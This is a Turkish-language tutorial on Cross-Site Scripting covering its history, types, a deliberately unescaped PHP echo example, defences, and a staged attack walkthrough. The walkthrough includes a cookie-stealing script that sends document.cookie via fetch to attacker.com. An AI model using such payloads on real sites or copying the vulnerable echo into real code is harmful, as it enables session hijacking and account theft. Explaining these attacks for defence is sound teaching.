🧠 XSS (Cross-Site Scripting) Nedir?
XSS, yani Cross-Site Scripting, saldırganın bir web sitesine kötü niyetli JavaScript kodu enjekte etmesi ve bu kodun başka kullanıcıların tarayıcılarında çalıştırılmasıdır. Amaç genellikle:
-
Çerez çalmak (session hijacking)
-
Sahte formlar göstermek (phishing)
-
Keylogger ile veri toplamak
-
DOM'u manipüle etmek
XSS, client-side yani tarayıcı taraflı bir güvenlik açığıdır.
🕰️ Tarihçesi
-
İlk tanımı: 1990'ların sonunda Netscape tarayıcısıyla birlikte dikkat çekti.
-
2000'ler: MySpace, Yahoo, Hotmail gibi platformlarda büyük açıklar ortaya çıktı.
-
2005 - MySpace "Samy Worm": XSS’in en meşhur örneğidir. Samy Kamkar adlı bir kullanıcı, profiline zararlı JavaScript koydu, profili ziyaret edenlerin otomatik olarak arkadaş olması sağlandı. 24 saat içinde 1 milyondan fazla kullanıcı etkilendi.
-
Bugüne kadar: XSS, OWASP Top 10 listesinde her zaman ilk 5 içerisindedir.
⚙️ XSS Nasıl Gerçekleşir?
1. Input → No Filtering → Output
Bir web uygulaması, kullanıcıdan gelen veriyi filtrelemeden HTML içinde gösterirse, bu açık ortaya çıkar.
2. Kötü Amaçlı JavaScript Gömülür
html
<script>alert('XSS');</script>
3. Kurban Tarayıcısı Bu Kodu Çalıştırır
Tarayıcı bu kodu sanki site sahibinin koyduğu gibi algılar ve çalıştırır.
🔥 XSS Türleri
Tür | Açıklama | Örnek |
---|---|---|
Stored XSS | Zararlı kod veritabanına kaydedilir ve her ziyaretçiye gösterilir. | Forum, yorum bölümü |
Reflected XSS | Kod URL ile gönderilir, yanıt içinde geri döner. | Arama kutusu, GET parametreleri |
DOM-Based XSS | JavaScript DOM üzerinden çalıştırılır, sunucu tarafı değil tarayıcıda olur. | location.hash , innerHTML kullanımı |
🎯 Örnek – Reflected XSS
php
<?php
echo "Merhaba " . $_GET['isim'];
?>
URL:
php-template
http://site.com/?isim=<script>alert('XSS')</script>
🔒 Korunma Yolları
-
Output encoding:
htmlspecialchars()
(PHP),textContent
(JS) -
Input validation: Girişte sadece beklenen verileri kabul et
-
Content Security Policy (CSP): Tarayıcıya dış script’lere izin verme
-
HTTPOnly Cookie: JavaScript ile çalınamayan çerezler
💣 Neden Tehlikelidir?
-
Saldırgan kurbanın çerezlerini çalabilir
-
Oturum bilgilerini alıp giriş yapmadan admin olur
-
Sahte formlar ile veri toplayabilir
-
Tarayıcıda keylogger çalıştırabilir
💥 1. Aşama: Hedef Belirleme
Saldırgan, bir web uygulamasında girişlerin HTML olarak filtrelenmeden yansıtıldığı alanları arar.
Örnek hedef alanlar:
-
Arama kutuları
-
Yorum bölümleri
-
Profil bilgileri
-
URL parametreleri (GET)
-
İçerik yükleyen formlar
🔎 2. Aşama: Açık Tespiti (Vulnerability Discovery)
Saldırgan, küçük test payload’ları göndererek XSS olup olmadığını test eder.
Payload örneği:
html
<script>alert('XSS')</script>
Test URL'si:
php-template
https://example.com/search?q=<script>alert(1)</script>
Site bu girdiyi encode etmeden geri döndürüyorsa, açıklık var demektir.
📥 3. Aşama: Zararlı Kod Geliştirme
Saldırgan artık basit bir alert yerine daha zararlı bir script yazar:
Örnek zararlı payload:
html
<script>
fetch("http://attacker.com/steal?cookie=" + document.cookie)
</script>
Bu kod kurbanın tarayıcısından çerezleri çalar ve saldırgana gönderir.
🎯 4. Aşama: Payload’u Yayma (Exploit Etme)
Açığın türüne göre farklı yöntemler uygulanır:
-
Stored XSS: Zararlı kod, yorum olarak siteye kaydedilir. Ziyaret eden herkes etkilenir.
-
Reflected XSS: Saldırgan özel bir link üretir ve kurbana gönderir (e-posta, sosyal medya, DM).
-
DOM-Based XSS: Tarayıcıda çalışan JS kodları DOM’dan input alıyorsa, manipüle edilir.
👥 5. Aşama: Kurbanın Etkilenmesi
Kurban linke tıklar veya sayfayı ziyaret eder, tarayıcı zararlı JavaScript’i çalıştırır.
Sonuçlar:
-
Çerezler çalınır → oturum ele geçirilir
-
Kurban fark etmeden bir form gönderir
-
Keylogger ile yazdıkları izlenir
-
Sayfa DOM'u manipüle edilip sahte içerik gösterilir
📬 6. Aşama: Bilgi Transferi / Saldırı Sonucu
Saldırgan:
-
Kurbanın çerez bilgileriyle admin paneline girer
-
Kullanıcı bilgilerini toplar
-
Phishing ile kredi kartı, şifre vs. toplar
🛡️ Sonuç: Savunma Aşaması
Geliştiricilerin girişleri filtrelemesi, çıktıları encode etmesi, CSP uygulaması, HTTPOnly çerezler kullanması bu süreci durdurabilir.
Labels: xss |